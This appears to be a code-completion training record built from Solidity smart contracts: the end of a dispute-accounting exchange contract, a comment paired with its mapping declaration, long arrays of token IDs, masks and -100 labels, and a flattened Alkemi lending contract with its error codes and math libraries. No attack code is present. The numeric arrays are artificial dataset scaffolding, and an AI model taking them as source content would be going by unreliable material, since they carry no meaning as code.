for (uint256 i = 0; i < proofs.length; i++) {
if (proofs[i].tokenAddress != registeredTokensAddresses[i]) {
return false;
}
if (proofs[i].clientAddress != clientAddress) {
return false;
}
if (isProofValid(proofs[i], round) != true) {
return false;
}
}
return true;
}
//
// Private Functions
//
/**
* Verifies the accounting required in order to close a dispute.
* @dev We do the dispute accounting as follow:
* @dev 1. Take the initial balances (proofs provided when opening dispute)
* @dev 2. Add deposits
* @dev 3. Compute all approved buys and sells from approvals
* @dev 4. Add/remove balances for actual fills
* @dev 5. Substract withdrawals
* @dev 6. Check that the resulting final balances matches the final proofs
* @param proofs Proofs of balances for each asset for the dispute round.
* @param approvals Array of approvals generated during the round previous to the dispute.
* @param fills Fills produced by the operator based on the approvals.
* @param clientAddress Address of the client that opened the dispute.
* @param disputeId Id of the dispute object.
* @param disputeRound Round from the dispute object.
*/
function checkDisputeAccounting(
address clientAddress,
Proof[] memory proofs,
Approval[] memory approvals,
Fill[] memory fills,
uint256 disputeId,
uint256 disputeRound
)
private returns (bool)
{
uint256 disputedRound = disputeRound.sub(1);
// #1 - Initial Balances
uint256[] memory balances = new uint256[](tokenCount);
for (uint256 i = 0; i < disputes[clientAddress].openingBalances.length; i++) {
balances[i] = disputes[clientAddress].openingBalances[i];
}
// #2 - Deposits
for (uint256 i = 0; i < tokenCount; i++) {
address token = registeredTokensAddresses[i];
uint256 deposit = clientDeposits[disputedRound][token][clientAddress];
if (deposit > 0) {
balances[i] = balances[i].add(deposit);
}
}
// #3 - Approvals
uint256[] memory approvedBuys = new uint256[](tokenCount);
uint256[] memory approvedSells = new uint256[](tokenCount);
if (approvals.length > 0) {
for (uint256 i = 0; i < approvals.length; i++) {
Approval memory approval = approvals[i];
if (disputeApprovals[disputeId][approval.approvalId] != true) {
uint256 buyAsset = registeredTokensIndex[approval.buyAsset];
uint256 sellAsset = registeredTokensIndex[approval.sellAsset];
if (approval.intent) {
approvedBuys[buyAsset] = approvedBuys[buyAsset].add(approval.buyAmount);
}
approvedSells[sellAsset] = approvedSells[sellAsset].add(approval.sellAmount);
disputeApprovals[disputeId][approval.approvalId] = true;
}
}
}
// #4 - Fills
for (uint256 i = 0; i < fills.length; i++) {
Fill memory fill = fills[i];
Approval memory approval = approvals[i];
uint256 buyAsset = registeredTokensIndex[fill.buyAsset];
uint256 sellAsset = registeredTokensIndex[fill.sellAsset];
if (approval.intent) {
require(fill.buyAmount <= approval.buyAmount);
// These will revert if < 0 since we are using checked arithmetic from SafeMath.
approvedBuys[buyAsset] = approvedBuys[buyAsset].sub(fill.buyAmount);
} else {
require(fill.sellAmount <= approval.sellAmount);
}
// These will revert if < 0 since we are using checked arithmetic from SafeMath.
approvedSells[sellAsset] = approvedSells[sellAsset].sub(fill.sellAmount);
balances[buyAsset] = balances[buyAsset].add(fill.buyAmount);
balances[sellAsset] = balances[sellAsset].sub(fill.sellAmount);
}
// #5 - Withdrawals
for (uint256 i = 0; i < tokenCount; i++) {
address token = registeredTokensAddresses[i];
uint256 withdrawal = clientRequestedWithdrawals[disputedRound][token][clientAddress].amount;
if (withdrawal > 0) {
balances[i] = balances[i].sub(withdrawal);
}
}
// #6 - Final Balances
for (uint256 i = 0; i < proofs.length; i++) {
require(balances[i] == proofs[i].clientOpeningBalance);
}
return true;
}
/**
* Transfer tokens from a client to this contract.
* @param tokenAddress Address of the token contract.
* @param amount Amount of tokens to be transferred.
* @param clientAddress Address of the source (sender) of the transfer.
*/
function transferTokenFromClient(address tokenAddress, address clientAddress, uint256 amount)
private
returns (bool)
{
return IERC20(tokenAddress).transferFrom(clientAddress, address(this), amount);
}
/**
* Transfer tokens from this contract to a client.
* @param tokenAddress Address of the token contract.
* @param amount Amount of tokens to be transferred.
* @param clientAddress Address of the destination (recipient) of the transfer.
*/
function transferTokenToClient(address tokenAddress, address clientAddress, uint256 amount)
private
returns (bool)
{
return IERC20(tokenAddress).transfer(clientAddress, amount);
}
}
|
Map of round => tokenAddress => clientAddress => deposit amount.
|
mapping(uint256 => mapping(address => mapping(address => uint256))) public clientDeposits;
| 6,459,049 |
[
1,
863,
434,
3643,
516,
1147,
1887,
516,
1004,
1887,
516,
443,
1724,
3844,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
11890,
5034,
516,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
20349,
1071,
1004,
758,
917,
1282,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/ErrorReporter.sol
pragma solidity 0.4.24;
contract ErrorReporter {
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
*/
event Failure(uint256 error, uint256 info, uint256 detail);
enum Error {
NO_ERROR,
OPAQUE_ERROR, // To be used when reporting errors from upgradeable contracts; the opaque code should be given as `detail` in the `Failure` event
UNAUTHORIZED,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW,
DIVISION_BY_ZERO,
BAD_INPUT,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_TRANSFER_FAILED,
MARKET_NOT_SUPPORTED,
SUPPLY_RATE_CALCULATION_FAILED,
BORROW_RATE_CALCULATION_FAILED,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_OUT_FAILED,
INSUFFICIENT_LIQUIDITY,
INSUFFICIENT_BALANCE,
INVALID_COLLATERAL_RATIO,
MISSING_ASSET_PRICE,
EQUITY_INSUFFICIENT_BALANCE,
INVALID_CLOSE_AMOUNT_REQUESTED,
ASSET_NOT_PRICED,
INVALID_LIQUIDATION_DISCOUNT,
INVALID_COMBINED_RISK_PARAMETERS,
ZERO_ORACLE_ADDRESS,
CONTRACT_PAUSED,
KYC_ADMIN_CHECK_FAILED,
KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
KYC_CUSTOMER_VERIFICATION_CHECK_FAILED,
LIQUIDATOR_CHECK_FAILED,
LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
SET_WETH_ADDRESS_ADMIN_CHECK_FAILED,
WETH_ADDRESS_NOT_SET_ERROR,
ETHER_AMOUNT_MISMATCH_ERROR
}
/**
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
BORROW_ACCOUNT_SHORTFALL_PRESENT,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_AMOUNT_LIQUIDITY_SHORTFALL,
BORROW_AMOUNT_VALUE_CALCULATION_FAILED,
BORROW_CONTRACT_PAUSED,
BORROW_MARKET_NOT_SUPPORTED,
BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
BORROW_ORIGINATION_FEE_CALCULATION_FAILED,
BORROW_TRANSFER_OUT_FAILED,
EQUITY_WITHDRAWAL_AMOUNT_VALIDATION,
EQUITY_WITHDRAWAL_CALCULATE_EQUITY,
EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK,
EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED,
LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED,
LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED,
LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH,
LIQUIDATE_CONTRACT_PAUSED,
LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET,
LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET,
LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET,
LIQUIDATE_FETCH_ASSET_PRICE_FAILED,
LIQUIDATE_TRANSFER_IN_FAILED,
LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_CONTRACT_PAUSED,
REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_ASSET_PRICE_CHECK_ORACLE,
SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_ORACLE_OWNER_CHECK,
SET_ORIGINATION_FEE_OWNER_CHECK,
SET_PAUSED_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RISK_PARAMETERS_OWNER_CHECK,
SET_RISK_PARAMETERS_VALIDATION,
SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED,
SUPPLY_CONTRACT_PAUSED,
SUPPLY_MARKET_NOT_SUPPORTED,
SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED,
SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
SUPPLY_TRANSFER_IN_FAILED,
SUPPLY_TRANSFER_IN_NOT_POSSIBLE,
SUPPORT_MARKET_FETCH_PRICE_FAILED,
SUPPORT_MARKET_OWNER_CHECK,
SUPPORT_MARKET_PRICE_CHECK,
SUSPEND_MARKET_OWNER_CHECK,
WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED,
WITHDRAW_ACCOUNT_SHORTFALL_PRESENT,
WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL,
WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED,
WITHDRAW_CAPACITY_CALCULATION_FAILED,
WITHDRAW_CONTRACT_PAUSED,
WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED,
WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
WITHDRAW_TRANSFER_OUT_FAILED,
WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE,
KYC_ADMIN_CHECK_FAILED,
KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
KYC_CUSTOMER_VERIFICATION_CHECK_FAILED,
LIQUIDATOR_CHECK_FAILED,
LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED,
SET_WETH_ADDRESS_ADMIN_CHECK_FAILED,
WETH_ADDRESS_NOT_SET_ERROR,
SEND_ETHER_ADMIN_CHECK_FAILED,
ETHER_AMOUNT_MISMATCH_ERROR
}
/**
* @dev use this when reporting a known error from the Alkemi Earn Verified or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint256) {
emit Failure(uint256(err), uint256(info), 0);
return uint256(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(FailureInfo info, uint256 opaqueError)
internal
returns (uint256)
{
emit Failure(uint256(Error.OPAQUE_ERROR), uint256(info), opaqueError);
return uint256(Error.OPAQUE_ERROR);
}
}
// File: contracts/CarefulMath.sol
// Cloned from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol -> Commit id: 24a0bc2
// and added custom functions related to Alkemi
pragma solidity 0.4.24;
/**
* @title Careful Math
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
*/
contract CarefulMath is ErrorReporter {
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (a == 0) {
return (Error.NO_ERROR, 0);
}
uint256 c = a * b;
if (c / a != b) {
return (Error.INTEGER_OVERFLOW, 0);
} else {
return (Error.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (b == 0) {
return (Error.DIVISION_BY_ZERO, 0);
}
return (Error.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (Error, uint256) {
if (b <= a) {
return (Error.NO_ERROR, a - b);
} else {
return (Error.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (Error, uint256) {
uint256 c = a + b;
if (c >= a) {
return (Error.NO_ERROR, c);
} else {
return (Error.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSub(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (Error, uint256) {
(Error err0, uint256 sum) = add(a, b);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return sub(sum, c);
}
}
// File: contracts/Exponential.sol
// Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a
pragma solidity 0.4.24;
contract Exponential is ErrorReporter, CarefulMath {
// Per https://solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables
// the optimizer MAY replace the expression 10**18 with its calculated value.
uint256 constant expScale = 10**18;
uint256 constant halfExpScale = expScale / 2;
struct Exp {
uint256 mantissa;
}
uint256 constant mantissaOne = 10**18;
// Though unused, the below variable cannot be deleted as it will hinder upgradeability
// Will be cleared during the next compiler version upgrade
uint256 constant mantissaOneTenth = 10**17;
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint256 num, uint256 denom)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 scaledNumerator) = mul(num, expScale);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(Error err1, uint256 rational) = div(scaledNumerator, denom);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error error, uint256 result) = add(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error error, uint256 result) = sub(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint256 scalar)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 scaledMantissa) = mul(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint256 scalar)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 descaledMantissa) = div(a.mantissa, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint256 scalar, Exp divisor)
internal
pure
returns (Error, Exp memory)
{
/*
We are doing this as:
getExp(mul(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(Error err0, uint256 numerator) = mul(expScale, scalar);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
(Error err0, uint256 doubleScaledProduct) = mul(a.mantissa, b.mantissa);
if (err0 != Error.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(Error err1, uint256 doubleScaledProductWithHalfScale) = add(
halfExpScale,
doubleScaledProduct
);
if (err1 != Error.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(Error err2, uint256 product) = div(
doubleScaledProductWithHalfScale,
expScale
);
// The only error `div` can return is Error.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == Error.NO_ERROR);
return (Error.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b)
internal
pure
returns (Error, Exp memory)
{
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * (10**18)}) = 15
*/
function truncate(Exp memory exp) internal pure returns (uint256) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if first Exp is greater than second Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right)
internal
pure
returns (bool)
{
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) internal pure returns (bool) {
return value.mantissa == 0;
}
}
// File: contracts/InterestRateModel.sol
pragma solidity 0.4.24;
/**
* @title InterestRateModel Interface
* @notice Any interest rate model should derive from this contract.
* @dev These functions are specifically not marked `pure` as implementations of this
* contract may read from storage variables.
*/
contract InterestRateModel {
/**
* @notice Gets the current supply interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the supply interest rate per block scaled by 10e18
*/
function getSupplyRate(
address asset,
uint256 cash,
uint256 borrows
) public view returns (uint256, uint256);
/**
* @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows
* @dev The return value should be scaled by 1e18, thus a return value of
* `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*.
* @param asset The asset to get the interest rate of
* @param cash The total cash of the asset in the market
* @param borrows The total borrows of the asset in the market
* @return Success or failure and the borrow interest rate per block scaled by 10e18
*/
function getBorrowRate(
address asset,
uint256 cash,
uint256 borrows
) public view returns (uint256, uint256);
}
// File: contracts/EIP20Interface.sol
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity 0.4.24;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
// total amount of tokens
uint256 public totalSupply;
// token decimals
uint8 public decimals; // maximum is 18 decimals
/**
* @param _owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address _owner) public view returns (uint256 balance);
/**
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transfer(address _to, uint256 _value)
public
returns (bool success);
/**
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool success);
/**
* @notice `msg.sender` approves `_spender` to spend `_value` tokens
* @param _spender The address of the account able to transfer the tokens
* @param _value The amount of tokens to be approved for transfer
* @return Whether the approval was successful or not
*/
function approve(address _spender, uint256 _value)
public
returns (bool success);
/**
* @param _owner The address of the account owning tokens
* @param _spender The address of the account able to transfer the tokens
* @return Amount of remaining tokens allowed to spent
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
// File: contracts/EIP20NonStandardInterface.sol
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
pragma solidity 0.4.24;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
contract EIP20NonStandardInterface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
// total amount of tokens
uint256 public totalSupply;
/**
* @param _owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address _owner) public view returns (uint256 balance);
/**
* !!!!!!!!!!!!!!
* !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
* !!!!!!!!!!!!!!
*
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transfer(address _to, uint256 _value) public;
/**
*
* !!!!!!!!!!!!!!
* !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
* !!!!!!!!!!!!!!
*
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public;
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value)
public
returns (bool success);
/**
* @param _owner The address of the account owning tokens
* @param _spender The address of the account able to transfer the tokens
* @return Amount of remaining tokens allowed to spent
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
}
// File: contracts/SafeToken.sol
pragma solidity 0.4.24;
contract SafeToken is ErrorReporter {
/**
* @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and
* whether or not `from` has a balance of at least `amount`. Does NOT do a transfer.
*/
function checkTransferIn(
address asset,
address from,
uint256 amount
) internal view returns (Error) {
EIP20Interface token = EIP20Interface(asset);
if (token.allowance(from, address(this)) < amount) {
return Error.TOKEN_INSUFFICIENT_ALLOWANCE;
}
if (token.balanceOf(from) < amount) {
return Error.TOKEN_INSUFFICIENT_BALANCE;
}
return Error.NO_ERROR;
}
/**
* @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory
* error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to
* insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call,
